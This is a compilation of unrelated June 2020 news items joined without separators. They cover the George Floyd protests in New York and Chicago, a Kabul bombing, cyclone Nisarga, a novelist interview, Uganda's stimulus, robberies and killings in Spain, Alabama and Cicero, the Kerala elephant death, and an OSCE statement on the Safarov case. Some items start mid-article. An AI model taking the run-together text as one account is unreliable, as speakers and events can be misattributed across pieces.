Both the mayor and New York Governor Andrew Cuomo dug in after critics urged an end to an 8 p.m.-to-5 a.m. curfew set to last until Monday morning following looting and other violence amid city protests sparked by George Floyd`s death in Minneapolis police custody.

Los Angeles is among several US cities that lifted curfews after critics said they unnecessarily restricted the right to protest. "5 a.m. Monday the curfew ends and does not come back," de Blasio told a news conference.

Cuomo, who had been at de Blasio`s side when the curfew was announced earlier this week, said it was a "local decision" he supports, noting, "you have not seen the looting in the past couple of days."

On Monday, the first stage in restoring economic activity will allow 32,000 construction sites to reopen, de Blasio said. "Getting people back their livelihood - that`s what Phase 1 is about," he said.

Trains in the world`s largest subway system have undergone weeks of disinfecting, and platforms have been marked for social distancing. The city is confident people will be safe, said city Transit Authority Interim President Sarah Feinberg.

"The system is going to be busy. There will be crowding conditions," Feinberg said. "People have to be very vigilant about mask usage and putting as much space between themself and others as they can."

While clearly mass transit "is the way to get around" the often-congested city, many will choose instead to drive their own cars, she said, offering two words of advice to New Yorkers with a short commute: "Consider walking."
Egypt stressed its full rejection of such terrorist acts, affirming it support to Afghanistan against all forms of terrorism, violence and extremism.

Egypt has strongly condemned the bombing of a mosque in the Afghani capital Kabul which left several people killed and injured.

In an official statement on Thursday, the Egyptian Foreign Ministry stressed its full rejection of such terrorist acts, affirming it support to Afghanistan against all forms of terrorism, violence and extremism.

It also extended its condolences to the families of the victims and wished the injured a speedy recovery, the statement read.

Tuesdays bomb attack on the mosque, carried out by a suicide bomber near a high-security diplomatic district in the capital, killed two people, including the prayer leader, and injured eight others.

The Islamic State group claimed responsibility on Thursday for the attack, describing the targeted prayer leader as an apostate and evil propagating loyalty to the apostate Afghan government.



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With an expected increase in wind conditions up to 120 kilometres, cyclone Nisarga is likely to make landfall on the north coast of Maharashtra in the afternoon between 01:00 pm to 04:00 pm. The IMD chief cautioned people to remain safe as the cyclone is likely to make structural damage such as uprooting trees, damage to thatched houses and so on. The intensity of the cyclone is likely to weaken by midnight, and subsiding completely by Thursday (June 4) morning. (Image: AP)
El presidente @MartinVizcarraC informa sobre la situacion del Estado de Emergencia en el #Dia81 y las acciones que realiza el Gobierno para contener la propagacion del COVID-19. En vivo: https://t.co/SoFr4R0gsc https://t.co/dHT0xY79P2
For the latest updates, check out this weekends live blog here.

For Chicago Police Board President Ghian Foreman said Friday that officers hit him with batons last weekend as they clashed with protesters who marched on the South Side over the killing of George Floyd in Minneapolis.

In a statement Foreman issued Friday afternoon through the Police Board, he said he was not participating in the protest, but coincidentally encountered the demonstration when it became confrontational. In a brief interview, Foreman said he was struck five times in his legs with batons while going for a walk.

Meanwhile, the city will shut down a stretch of its iconic Lake Shore Drive through the weekend to help facilitate protesters, in hopes of preventing a repeat of last weekends chaotic civil unrest.

Chicago will also enforce a 9 p.m. curfew and will contract with hundreds of security providers to protect neighborhoods on the South and West Sides, Mayor Lori Lightfoot said. And to ensure protesters have space to demonstrate, Lightfoot said Grant Park and Union Park will be open.

Earlier on Friday, Lightfoot said she wanted a Chicago police officer who was photographed giving protesters the middle finger to be fired. Lightfoot also said she wants cops who are hiding their badge numbers to be fired.

Ive said this before, and Ill say it every day, we will not tolerate people who cross the line, the mayor said at a news conference later in the day.

Here are the latest developments:

8:47 p.m.: Arrests following Aurora unrest: Racially diverse group includes reality TV personality, a married couple, several 20-somethings

A suburban teen with a small history of petty theft set fire to a police vehicle during unrest in Aurora this week in an act of revenge against law enforcement, prosecutors say.

Authorities say she has no ties to ANTIFA or the white supremacy groups that some have blamed for the violence and vandalism across the country.

She has no job and lives with her mom in Kendall County, according to court records.

Vianney Huerta, 19, offers a small portrait of the 21 people arrested following the unrest in Aurora last Sunday. Its a disparate, racially diverse group that includes a former reality TV personality, a married couple and several twentysomethings with no connections to extremist groups on either end of the political spectrum, investigators say.

Indeed, authorities say those arrested have seemingly few ties to each other except for their alleged roles in overshadowing the nonviolent protests meant to convey the urgent need for racial equality and police accountability across the country.

They are drowning out the message that needs to be heard, not just by the public, but by those who are in a position to do something about it, Kane County States Attorney Joe McMahon said. Read more here. Megan Jones and Stacy St. Clair

8:35 p.m.: Attorneys for protesters in recorded skirmish with Joliets mayor say clients were demonstrating peacefully, disputing mayors self-defense claim

Attorneys for two protesters involved in an altercation with the mayor of Joliet that was captured in a viral video say their clients were demonstrating peacefully, disputing the mayors claims that he was acting in self-defense.

Fallout from the minutelong recording of the skirmish between the mayor  who is white  and two African American protesters continues to roil the southwest suburb of about 150,000, as the Chicago region and nation grapple with issues of racial justice and use of force in policing. Read more here. Alicia Fabbre and Angie Leventis Lourgos

8:10 p.m.: Lightfoot rips police officers who cross the line: Shame on you.

While praising the vast majority of Chicago police officers who she said have done their job well, Mayor Lori Lightfoot ripped city cops who have crossed the line by cursing at protesters, using excessive force or hiding their badge numbers.

Ive said this before, and Ill say it every day, we will not tolerate people who cross the line. We will not tolerate excessive force. We will not tolerate profanity and homophobic comments that demean the badge, demean the honor of being a Chicago police officer and demean the value of who we are as Chicagoans, Lightfoot said at a news conference. We will not tolerate that. Officers who choose to do those things, or to tape over their badges or to turn off their body-worn cameras, all things that violate very clear directives of the Chicago Police Department.

Aiming her comments at the officers who do those things, Lightfoot said the city will find them and strip them of their police powers.

You are demeaning all of your colleagues who are working their tails off on 12-hour shifts to keep our city safe. Shame on you. Shame on you, Lightfoot said. We will not tolerate this and we will take decisive action and not only stripping you as appropriate you will be fired from the Chicago Police Department.

Firing officers is a complicated process that may not work out as simply as the mayor suggests.

Drawing on her experience as a police reform expert, Lightfoot said the city has a lot of work to do on the path and a journey towards police reform and accountability.

We will not be deterred from making that a reality and certainly not by elements within the police department who believe that they can do what they want when they want whenever they want, Lightfoot said.

In her comments, Lightfoot also said the city will hold police bosses responsible for their subordinates conduct.

I want the supervisors out there to understand this is not going to be something thats going to be borne solely by the line police officers. You have a responsibility as well, Lightfoot said. And every single time I see one of these cases, the question I ask is where was the supervision? And we will find out the answer to that question, and if you have failed, then we will take appropriate action.

She added: I understand all honest mistakes. But some of the things that weve seen arent honest mistakes. These are people who do not share our values I will not be part of the Chicago Police Department. I want that message to be loud and clear.

Earlier in the day, Lightfoot said she wanted a police officer who stuck his middle finger out at a protester to be fired. Gregory Pratt

6:25 p.m. (updated 7:50 p.m.): City will shut down stretch of Lake Shore Drive through weekend, open Grant Park and Union Park to accommodate protesters downtown

The city of Chicago will shut down a stretch of its iconic Lake Shore Drive through the weekend to help facilitate protesters in hopes of preventing a repeat of last weekends chaotic civil unrest over the Minneapolis police killing of George Floyd.

Chicago will also enforce a 9 p.m. curfew and will contract with hundreds of security providers to protect neighborhoods on the South and West Sides, Lightfoot said.

More than 300 city trucks will also be used at more than 175 commercial corridors, particularly on the South and West sides, Lightfoot said.

And to ensure protesters have space to demonstrate, Lightfoot said downtowns Grant Park and the Near West Sides Union Park will be open. Read more here. Gregory Pratt

6:12 p.m.: Chicagos black-owned businesses face uphill battle to rebuild, even with outpouring of support after George Floyd death

The death of George Floyd has prompted fresh calls to support the black community, but some of its business owners, hit hard by looting on the South and West sides, say the enthusiasm will not be enough to help them get ahead.

Some business owners plan to rebuild, and most support the protests that swept the country after the death of Floyd, a black man, at the hands of Minneapolis police.

But as they survey the damage, doubts emerge as they worry about their own livelihoods and their neighborhoods if the businesses fold.

M&R Prescription Center, in the South Shore neighborhood, was vandalized early last Sunday morning. Intruders broke the window with a rock, and stole drugs off the shelves, she said.

Owner Pamela Jones reopened the pharmacy and medical equipment company, albeit with boarded-up windows, but shes considering turning down a $25,000 city grant she earlier was awarded to improve the store.

You want to be there for the community, but then when the community is not there for you, its just very disheartening, Jones said. You question yourself. Why am I still here? Whats the purpose?

Jones concern is shared by many black-owned businesses on the South and West sides. Though community backing has bolstered some, many owners do not count on the increased support for black-owned businesses, or the $10 million Mayor Lori Lightfoot promised to help them rebuild.

Its not just that were a black-owned business. Were a business in a black community, and those businesses are scarce, Jones said. Each time you destroy one, when and how will your needs be met? Read more here. Ally Marotti and Alexia Elejalde-Ruiz

6:06 p.m.: Chicago Police Board president says officers hit him with batons at weekend protest: I walked in the middle of an uprising

Chicago Police Board President Ghian Foreman said Friday that officers hit him with batons last weekend as they clashed with protesters who marched on the South Side over the killing of George Floyd in Minneapolis.

In a statement Foreman issued Friday afternoon through the police board, he said he was not participating in the protest over Floyds death at the hands of Minneapolis police, but coincidentally encountered the demonstration when it became confrontational.

In a brief interview Friday afternoon, Foreman said he was struck five times in his legs with batons while going for a walk.

I walked in the middle of an uprising, said Foreman, who lives near the site of the protest.

It was chaos. It was a no-win situation on both sides, Foreman said of the protesters and police.

In his statement, Foreman said the publics interest with the incident may stem from his position working toward police accountability and that it seems ironic that someone in a public-facing position could also become a victim of police aggression.

This is the duality I live with as a Black man in America, even one who is privileged to be part of systems of power, he said in his statement. I am not exempt from what any other Black man faces on the streets.

Foreman, appointed to the police board in 2010 by then-Mayor Richard M. Daley, declined to get into specifics about the incident, which is being investigated by the citys Civilian Office of Police Accountability. But he said its important to focus on how aggressive confrontations such as this could be avoided. His statement on Friday comes hours after former federal prosecutor Maggie Hickey, the court-appointed monitor overseeing broad CPD reforms, said she will investigate and report on allegations that officers abused protesters over the last week.

There is important work to be done, Foreman said about Chicago police reform in his statement. If we are to improve police officer training, better educate them on de-escalation techniques and develop a peer support program in the next 90 days as we have been asked to do, we cannot afford to lose focus now.

We cannot allow the momentum of the uprisings to be lost by focusing on micro-incidents, but rather use that energy to demand accountability that we can see and feel, Foreman continued in the statement. I encourage my fellow Chicagoans to stay involved  vote, advocate for solutions, demonstrate peacefully, support local businesses, and donate resources.

Foreman acknowledged that Chicago activist Malcolm London was at the same protest, where Londons lawyers have said he also also assaulted by police and arrested.

Chicago police said Superintendent David Brown and one of his top deputies spoke with Foreman about the matter, according to a statement.

Since the onset of this weeks events, Superintendent Brown has been clear that misconduct by any officer will not be tolerated, according to the CPD statement. If any Officer is found to have participated in excessive force, they will be held accountable.

Foremans allegations are among 344 complaints made against Chicago police officers from May 28 to 7 a.m. Friday, many of them stemming from the protests.

Weve seen in roughly a week what we normally would see in a month, COPA spokesman Ephraim Eaddy said of the volume of complaints the agency has fielded.

Foreman served as the police boards vice president under now-Mayor Lori Lightfoot, who served as its president prior to her run for office. Foreman has been the police board president since 2018. Jeremy Gorner

5:55 p.m. (updated at 7 p.m.): 2 Chicago cops involved in Brickyard Mall incident relieved of police powers

Two Chicago cops have been relieved of their police powers after a woman said officers pulled her from a car by her hair and placed a knee on her neck last weekend.

The action by police Superintendent David Brown came a day after the Civilian Office of Police Accountability recommended the action as it investigates the alleged incident at the Brickyard Mall at 2600 N. Narragansett Ave. on Sunday.

Mia Wright, 25, said she had gone to the mall with family and friends not realizing it had been closed because of looting. While in the parking lot, she said officers surrounded her car, broke the windows with clubs and pulled her to the ground. Chicago Tribune staff

5:25 p.m.: Second City owner Andrew Alexander to exit after accusations of institutionalized racism

Following a social-media tumult sparked by a series of institutionally accusatory tweets from a former performer and employee, Second Citys owner, Andrew Alexander, told staffers on Friday that he was apologizing for his many failures as a steward of an important cultural institution and stepping away from one of Chicagos most famous and internationally influential theaters.

The exit of Alexander, 76, the accomplished producer of SCTV, a longtime kingmaker and an iconic figure in sketch comedy, came after accusations of institutionalized racism were leveled on Twitter by DeWayne Perkins. In particular, Perkins criticized Second City priors reluctance to fundraise for the Black Lives Matter movement without also financially supporting police-related causes. Commenters amplified Perkins remarks and extended them to other improv theaters in Chicago. Read more here. Chris Jones

3:45 p.m.: Protesters mark what would have been Breonna Taylors 27 th birthday with North Side march

Undeterred by the sweltering heat, hundreds of protesters gathered Friday afternoon in front of the Riviera Theatre in the Uptown neighborhood to focus on the importance of Black women, and to call attention to the death of Breonna Taylor.

Taylor was killed on March 13 when Louisville police, executing a search warrant, burst into her apartment, and after a skirmish, shot her at least eight times.

The protest was set for Friday to mark what would have been Taylors 27th birthday.

This day is to let everyone know that she mattered, she still matters and will always matter, said Ashabi Owagboriaye, the organizer of the protest said.

Around 2:45 p.m., the wave of protesters marched south on Broadway to Irving Park Road, where they held a moment of silence and knelt for eight minutes, symbolizing the number of times Taylor was believed to be shot.

They repeatedly chanted Taylors name as they marched through the streets.

Say her name! Breonna Taylor! they yelled.

Dordie Hester, who was one of many carrying a sign commemorating the life of Taylor, said she came to stand up against the injustices that black people have endured. Javonte Anderson

1:51 p.m.: Gov. J.B. Pritzker raises his national profile with rebuke of President Donald Trump over George Floyd fallout

When Gov. J.B. Pritzker sharply denounced President Donald Trumps rhetoric in the aftermath of George Floyds death during a call of the nations governors, it not only laid bare the animosity between the two men, it also quickly elevated Pritzkers stature among national Democrats.

Pritzkers criticism of the president drew widespread attention and led to appearances by the governor on cable news shows. Since his comments came in an ostensibly closed setting, a White House conference call, questions were raised about Pritzkers political motivation for speaking up.

What the governor clearly showed is that unlike most of his counterparts, he isnt afraid to challenge a president known for not letting any slight go unavenged, said David Yepsen, a former director at the Paul Simon Public Policy Institute at Southern Illinois University at Carbondale.

When I heard him take on Trump like that, I thought first of all that some of these governors are intimidated by Trump, said Yepsen, former longtime political columnist at the Des Moines Register. Trump holds purse strings for money that they need. They dont want to alienate him. But Pritzker came off to me as a guy who gets inside Trumps head. Read more here. Rick Pearson

1:09 p.m.: Amid coronavirus and recent horrific events, DePaul University is giving students a break

Citing the stress and anxiety caused by recent events as well as the coronavirus pandemic, Chicagos DePaul University has announced its providing coursework relief to students.

That includes asking faculty to allow final exams to be optional, to forgo final coursework or allow students to drop classes as late as the last day of classes. Read more here. Robert McCoppin

12:53 p.m.: Court-appointed monitor will investigate allegations of Chicago police abuse of protesters

The court-appointed monitor overseeing broad reforms to the troubled Chicago Police Department said Friday that she will investigate and report on allegations that officers abused protesters.

Former federal prosecutor Maggie Hickey said that to promote transparency, she would get information from community members, police and other city departments. Hickey said she would then prepare a report on officers handling of the widespread street demonstrations sparked by the death of George Floyd at the hands of Minneapolis police.

The comments came during a Friday conference call hearing and followed a letter sent to Hickey by activist groups including Black Lives Matter: Chicago that demanded an investigation. Both Mayor Lori Lightfoot and representatives of Illinois Attorney General Kwame Raoul voiced support for the inquiry by Hickey, who is overseeing the citys progress toward fulfilling a wide-ranging court order aimed at changing the way cops treat people.

Hickey did not specifically address activist complaints of protesters being detained without contact with lawyers. The groups had asked her to set up a process for attorneys to communicate with arrested clients. Read more here. Dan Hinkel

12:24 p.m.: Minneapolis to ban police chokeholds in wake of George Floyds death

Negotiators for the city of Minneapolis have agreed with the state to ban the use of chokeholds by police and to require police to report and intervene anytime they see an unauthorized use of force by another officer.

The moves are part of a stipulation between the city and the Minnesota Department of Human Rights, which launched a civil rights investigation this week in response to the death of George Floyd in police custody. The City Council is expected to approve the agreement Friday. Read more here. Associated Press

11:45 a.m.: City workers and activists paint Black Lives Matter in enormous bright yellow letters on the street leading to the White House

City workers and activists painted the words Black Lives Matter in enormous bright yellow letters on the street leading to the White House, a highly visible sign of the District of Columbias embrace of a protest movement that has put it at odds with President Donald Trump.

D.C. Mayor Muriel Bowser tweeted aerial video of the mural shortly after it was completed Friday. The letters and an image of the city's flag stretch across 16th Street for two blocks, ending just before the church where Trump staged a photo-op after federal officers forcibly cleared a peaceful demonstration to make way for the president and his entourage.

The section of 16th street in front of the White House is now officially Black Lives Matter Plaza, Bowser tweeted. A black and white sign was put up to mark the change.

The White House had no comment. Read more here. Associated Press

11:26 a.m.: Lightfoot calls for firing of Chicago cop who flipped off protesters, those who hide badge numbers

Mayor Lori Lightfoot wants a Chicago Police officer who was photographed giving protesters the middle finger to be fired, she said at a Friday news conference.

Lightfoot also said she wants police officers who are hiding their badge numbers to be fired.

It wont be tolerated, Lightfoot said. Were actively at work identifying the officers responsible for that.

While acknowledging itll ultimately be up to Chicago police Superintendent David Brown, Lightfoot said, In my view, they forfeited their right to be Chicago police officers.

Lightfoot made the comment in response to questions about a photo published by Block Club Chicago of an officer raising both of his middle fingers to protesters in Lincoln Park and reports that some officers are hiding their badges.

Ive seen the photograph of the officer in uniform giving people the finger. Well find that person and, in my view, that person needs to be immediately stripped of their police powers and start the process for firing him, Lightfoot said. "We will not tolerate that kind of abusive, offensive conduct on the part of police officers. Period. Read more here. Gregory Pratt

11:18 a.m.: President Trump invokes George Floyds name in trumpeting jobs report: This is a great day for him. Its a great day for everybody

President Donald Trump took a victory lap Friday morning after the government reported surprising job gains for last month, seizing on the data to predict that the worst of the coronavirus pandemic and its economic disruption was in the rear-view mirror.

The unemployment rate dropped to a better-than-expected 13.3%, but that is still on par with what the nation witnessed during the Great Depression.

With the country in upheaval over the death of George Floyd, Trump said that an economic rebound was his answer to racial inequality, saying it is the greatest thing that can happen for race relations.

Trump spoke from the Rose Garden hours after the Labor Department said that U.S. employers added 2.5 million workers to their payrolls last month. Economists had been expecting them instead to slash another 8 million jobs amid the ongoing fallout from the response to the pandemic. Read more here. Associated Press

9:56 a.m.: Lightfoot announces $1 million donation from Jewel-Osco to help damaged businesses

Jewel-Osco will donate $1 million to the city of Chicagos emergency fund to help businesses that were looted and damaged amid fallout from the Minneapolis police killing of George Floyd.

The grocery stores officials joined Mayor Lori Lightfoot to make the announcement at a Jewel-Osco on the South Side near 60th Street and Cottage Grove Avenue.

Lightfoot first announced a $10 million recovery grant fund in a televised speech Tuesday aimed at calming a city rocked by widespread looting. Jewel is the first major donor to be disclosed, and its $1 million is in addition to the citys $10 million. Read more here. Gregory Pratt

5:15 a.m.: Man describes being stabbed while trying to stop looting in Naperville. I really dont like where this world is going to. Its going to a dark, evil place.

Jai Taylor held his hand over his gut as he sprinted in search of any police officer who might help save his life.

"I ran down the street to Starbucks with my intestines in my hand, Taylor said.

The 21-year-old Oswego resident said he was stabbed in the abdomen after yelling at people to stop the vandalism and protecting a teenager who was being goaded to join the melee Monday night in downtown Naperville. Read more here. -- Suzanne Baker

5:15 a.m.: River Forest man facing felony hate crime, assault charges after altercation at grocery store

Felony charges have been filed against a River Forest man accused of racially insulting a young African-American woman, then grabbing and hitting her.

Rob Palley, 61, of River Forest, was charged with a hate crime and aggravated battery, according to prosecutors. Police say the attack occurred around 10 a.m. Wednesday at a Jewel-Osco store at 7525 Lake Street in the west suburb. Read more here. -- Steve Schering

5 a.m.: Kanye West appears to join march on South Side

It appeared that Kanye West showed up shortly before 8 p.m. to join marchers as they prepared to head down South State Street.

The South Side rapper, with his face mostly covered, emerged after a series of speeches from students and activists. He did not address the crowd and appeared to have left a half hour later as marchers continued north on State.

The Tribune asked organizers for confirmation of Wests appearance, but they just pointed to the surrounding security.

According to CNN, West has made a $2 million donation to support the families of George Floyd, Ahmaud Arbery and Breonna Taylor
He hadn't given too much thought to the genders of his characters until he was well into the writing, but it was the characters' resilience that made him think of them as women. Credit: "They were exhibiting this calm methodical kind of resilience where they're not that fussed  as opposed to a more performative gung-ho getting on with it which is a bit more a male thing in our culture. The way they behaved, it made more sense to me that they were women." The violence of The Rain Heron is central to Arnott's purpose. "I wanted to write about how the violence we enact on each other bleeds out into violence against the natural world. And as we know, violence begets violence. And I wanted to show that reflected not just in the way we treat each other, but the way we treat the world around us. That really drove me while I was writing. I kept thinking is this too much' but I kept returning to that what I was writing about is nowhere near as bad as what's happening in the real world."

But it would be a mistake to see The Rain Heron as a didactic novel. Yes, there's a powerful message about our dealings with the world around us, but Arnott is no preacher, he is exploring ideas rather than prescribing them. Violence, he points out, is a natural part of the world. Loading "The difference being that it's violence without cruelty, it's violence with purpose. You very rarely see an animal do something based on emotions." The message is about the degradation of nature and our relationship with it. "I'm not saying this is what we need to do differently," he says. "I think if things like that are presented imaginatively it gives us a new way of looking at it. Rather than with horrible headlines and the picture of a burnt forest." When it came to bringing the Rain Heron to life, Arnott faced the problem of making it fantastical but also tangible and real.

"What I had in mind was a creature that embodied both the beauty and savagery of nature. I wanted it to be captivating and astonishing, but also harsh and unforgiving. And I also wanted it to be completely uncaring of humanity. It was really important to me that this mythical creature was as interested in humanity as you or I would be in a button rolling down a street." Arnott says that is how animals react to people  they don't care about us at all. "I don't like those stories where nature sides with good people over the bad people. That's not how nature works." In trying to capture the constituent parts of his creation, he realised he had the idea of a storm in his head and as a result the sort of animal it could be. "It made sense that it would be a bird and it made sense that it would be rain. And from there I built it." Arnott grew up in Launceston. He spent summers in a little town called Greens Beach at the mouth of the Tamar River with his extended family: "My mother, grandmother and my aunt all figure very prominently as quite matriarchal figures in our family." These days he works as a copywriter with an advertising agency in Hobart. The nature of that work has helped him develop a strong work ethic and a thick skin when it comes to criticism.

"Advertising can be very intense, no one's looking after your feelings, no one cares if everyone hates what you've done and you've had your day ruined. You just get on with it and do it." Loading But when he turns to his fiction it's liberating: "I get to dive into my imagination again and make things up, because despite what they say about advertising, you're not allowed to make things up." It's not all made up, though. His nature writing draws extensively from his observations walking in the Tasmanian bush or on Mount Cook. Mind you, it could be a frustrating experience walking with him. He's not a bloke for a cursory glance. He likes to stop and look at things, look closely. And then, perhaps, get everyone else to look  even if they're not quite sure what they are supposed to be looking at. Colours and textures are an important part of his writing, so he wants to remember them, to get them right.
Source: Xinhua| 2020-06-05 09:47:31|Editor: huaxia

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KAMPALA, June 5 (Xinhua) -- Uganda on Thursday unveiled a proposed economic stimulus package that will provide liquidity for private firms affected by the COVID-19-induced national lockdown.

At a State of the Nation Address to the parliament, Ugandan President Yoweri Museveni said the measures introduced by the finance ministry are aimed at keeping the firms afloat amid the economic downturn caused by the COVID-19 pandemic.

In the package, corporations including small and medium-sized enterprises, will be allowed to delay payment of corporation tax or presumptive tax due between April and June 2020. For hard-hit sectors like tourism, manufacturing, and horticulture, payment can be deferred until September 2020.

Payment of Pay-As-You Earn tax by sectors which are most affected has also been deferred until September.

Museveni said that the finance ministry also proposed measures to entities that are unable to pay their loans because of the effects of the pandemic. Some of these measures include allowing extension of repayment periods, postponing loan repayment for a limited period, and relaxing the conditions for non-performing loans.

The ministry also proposed the reduction of reserve funds that commercial banks are required to keep with the central bank, and the creation of a special liquidity facility to rescue businesses that are not able to meet operational costs due to low demand or reduced production amid COVID-19.

Finance Minister Matia Kasaija is scheduled to present the national budget before the parliament on June 11. Kasaija will also present before the parliament the stimulus package for approval. Enditem
The Guardia Civil are investigating a violent robbery at a luxury mansion in Mijas Costa. According to sources, the incident happened during the early hours of Thursday last week. Six individuals dressed as police officers tied up the property's two occupants and gagged them for a long period of time in order to search the house for valuables without interruption.

The victims appear to have been a father and his son, whose hands were tied behind their backs using cable ties.

The assailants reportedly spoke Spanish, worked in an organised manner and left with several pieces of jewellery and other objects worth 300,000 euros. Once the thieves had gone the older of the two men managed to free himself and notify the Guardia Civil.

The house where the assault took place is located just off the A-7 as it passes through Mijas Costa, so the attackers had an easy escape route.

A similar incident, a few days earlier, is being investigated by the National Police in Marbella. In this case, the assailants didn't dress as police officers but did tie the occupant's hands while they searched the property. They made off with several items of value, including two high-end watches.
We do believe them to have left the area, he said in a telephone interview. We believe somebody came to this residence to do ill, did it, and then has left. We believe it is an isolated, and not a spree, killing.

He said the authorities had not identified a suspect.

Mr. Swafford said that when the police arrived, they found a back bedroom of the house, a single-level, ranch-style residence, on fire, but he said the fire was not being investigated as a cause of the deaths. The authorities entered through the garage, where they found three of the bodies, Mr. Swafford said. The cause of the fire was not known, he said.

He declined to say where the other bodies were found, and did not identify the victims.

Jeff Chunn, the Morgan County coroner, said the dead included four men and three women, and their relationship to one another was not immediately clear. No one else was in the house when the authorities arrived, he said.

We are actively processing the scene, Mr. Chunn said.

Valhermoso Springs is an unincorporated community with a population of fewer than 1,000 people, in the north-central part of the state.

Mr. Swafford said the police had been called to the house in the past to respond to complaints related to drugs, trespassing and other issues. Some of the victims had apparently lived there and some additional come and go, he said.
A Chicago man has been arrested for the shooting death of an innocent bystander during a night of looting in one of the city's suburbs, police said.

Zion Haygood was charged with first degree murder for allegedly shooting 28-year-old Jose Gutierrez, also of Chicago.



Gutierrez was fatally shot in the 2100 block of 50 Street around 7pm on Monday in Cicero, a suburb ten miles outside Chicago.

He was transported to a hospital where he was pronounced dead, police said.

Police told WGN9 that Gutierrez had been a bystander and not involved in the looting that was taking place at the time.

Zion Haygood of Chicago man was arrested for the shooting death of an innocent bystander during a night of looting in one of the city's suburbs. Haygood is pictured in an arrest photo

Jose Gutierrez, 28, and also of Chicago was fatally shot in the 2100 block of 50 Street around 7 p.m. in Cicero Monday as looting was underway. Looters are seen in footage of the violence

Gutierrez was one of two people killed in the violence. A second victim, Victor Cazares Jr., 27, was killed near 14th Street and 50th Avenue.

Two more suspects have been detained, according to police, who have not provided additional information.

A spokesman for the city added that Gutierrez was not among outsiders who came to town and were blamed for the looting and violence on Monday.

Gutierrez didn't want 'to be among the outside agitators who instigated the violence in Cicero this past week and was a bystander,' Cicero spokesman Ray Hanania said, reports Fox News.

Cicero declared a state of emergency declaration following the killings and looting on Monday.

It came as cities across the country have grappled with similar violent looting and destruction amid protests over the police-related death of George Floyd in Minneapolis.

Floyd died after a police officer pinned him to the ground during his arrest, and kneeled on his neck for almost nine minutes. Four officers have been arrested over the incident.

A spokesman for the city added that Gutierrez was not among outsiders who came to town and were blamed for the looting and violence on Monday. Workers are picture boarding up El Patron, a local liquor store that was targeted

Cicero police arrest looters caught hiding in a back storeroom of El Patron during the violence

The El Patron liquor store in Cicero is pictured ransacked after the looting Monday

Cicero Police Chief Jerry Chlada Jr. reported cops made 60 arrests after the violence finally ended in the city of almost 82,000 residents.

Some residents have been seen armed and sitting on rooftops to protect their property during the looting.

There were also armed street patrols and person with weapons protecting businesses.

Chlada at a press conference warned residents to let the police do their job.

'Allow us to handle any criminal activity,' Chlada said. 'We will not allow or condone anyone to be in the town of Cicero with any type of weapons because they will be arrested.'

Cicero Police Chief Jerry Chlada Jr. (pictured at a press conferece) reported cops made 60 arrests after the violence finally ended in the city of almost 82,000 residents. Some have been seen armed and sitting on rooftops to protect their property during the looting
Both mother and baby died. For days before dying, the animal wandered with excruciating pain. The incident has caused outrage in the country, but the authorities do not yet know if it was an accident or deliberate. India is home to 27,000 wild elephants and 2,500 in captivity.

Thiruvananthapuram (AsiaNews/Agencies)  A 15-year-old pregnant elephant and the baby she was carrying died in Kerala after she eat a pineapple spiked with firecrackers.

After straying into a village where she ate the fruit she wandered off in excruciating pain. Seeking relief, the animal immersed her trunk and mouth into the water of a river.

Wildlife workers and vets tried to save her, but the injuries caused by the explosion were too serious, and prevented her from eating.

The incident sparked outrage across the country, but the authorities do not yet know if it was a deliberate act or an accident.

Kerala Chief Minister Pinarayi Vijayan said that that the investigation was focused on three suspects and that two people were questioned and released.

Some surmise that the animal ate a pig cracker, a firecracker-spiked fruit used to scare away wild boars and pigs from crops, a rather common practice among farmers who sometimes also target tuskers.

India has 27,000 wild elephants and 2,500 in captivity. When they come near villages and farmland, farmers are known to retaliate, an issue raised by environmental groups in India as well as other Asian countries, especially Sri Lanka.
YEREVAN, JUNE 5, ARMENPRESS. The issue of the Promotion of Impunity for Hate Crimes in Azerbaijan has been included to the agenda of the 1270th session of the OSCE Permanent Council at the initiative of Armenia over which Armenias Permanent Representative to the OSCE, Ambassador Armen Papikyan delivered a statement, the Armenian MFA told Armenpress.

The Ambassador drew the attention of the participating states to the ECHR ruling on Makuchyan and Minasyan vs Azerbaijan and Hungary case issued on 26.05.2020.

Armenpress presents the Ambassadors statement:

The purpose of introducing this current issue is to inform the participating States of the essence and details of the case and thus expose the latest attempts of the authorities of Azerbaijan at manipulation and disinformation, and denial of any wrongdoing in case of Ramil Safarov, the Azerbaijani military officer convicted of premeditated brutal murder of Armenian military officer in 2004, thus justifying and endorsing the glorification of that despicable hate crime.

The case in question was brought to the Strasbourg Court by Makuchyan and Minasyan v. Azerbaijan and Hungary (application no. 17247/13) after Ramil Safarov, who was convicted by the court in Hungary to serve a life-time sentence for decapitating by an axe of Armenian military officer Gurgen Margaryan while in his sleep and attempted murder of another Armenian officer during the NATO/PFP courses in Hungary back in 2004.

On 13 April 2006 the Budapest High Court found Ramil Safarov guilty of the exceptionally cruel and premeditated murder of Gurgen Margaryan and of preparation for murder of Hayk Makuchyan. Based on the conclusions of the Hungarian court the crimes were committed with vile motives and exclusively because of the Armenian nationality of the victims.

On 31 August 2012 Safarov was transferred to Azerbaijan to continue serving his sentence there, was pardoned by the President of Azerbaijan immediately upon his landing in Baku, was given a hero welcome by the Government of Azerbaijan, its state officials including Mr. Ayaz Guliyev, the then Azerbaijani parliamentarian, Member of the OSCE PA and currently the Vice President of the same august body as well as Ms. Ganira Pashaeva, Member of the Azerbaijani Delegation to PACE at that time. Moreover, next day, on 1 September 2012 Safarov was promoted to the rank of major by the Minister of Defence during the course of a public ceremony. On 6 December 2012 he was provided use of a flat belonging to the State housing fund and he was also awarded eight years of salary arrears.

I am giving all these details in order for the participating States to clearly see that people who are trying today to convince the international community of their commitment to peace and tolerance, are in fact the same people who glorified the murderer who committed a heinous hate crime.

On 26 May 2020 the European Court of Human Rights in its ruling concluded that the actions of Azerbaijan to grant an impunity for a serious crime perpetrated by the axe murderer Ramil Safarov have no justification. The Court considered that Azerbaijan had assumed responsibility for the enforcement of R.S.s prison sentence upon his transfer, and from that point on, it had been called upon to provide an adequate response to a very serious ethnically-biased crime for which one of its citizens had been convicted in another country. Instead of enforcing R.S.s sentence, however, he had been set free and treated as an innocent or wrongfully convicted person and bestowed with benefits.

The measures taken by the high-ranking officials of Azerbaijan, including a specially dedicated page to Safarov opened on the President of Azerbaijans website led to impunity which was coupled with the glorification of his extremely cruel hate crime. Safarov had in effect been granted impunity in Azerbaijan for the crimes committed against his Armenian victims. The Court concluded that Azerbaijan was in violation of its obligation under Article 2 of the European Convention of Human Rights (Rights to Life) to effectively deter the commission of offences which put others lives at risk.

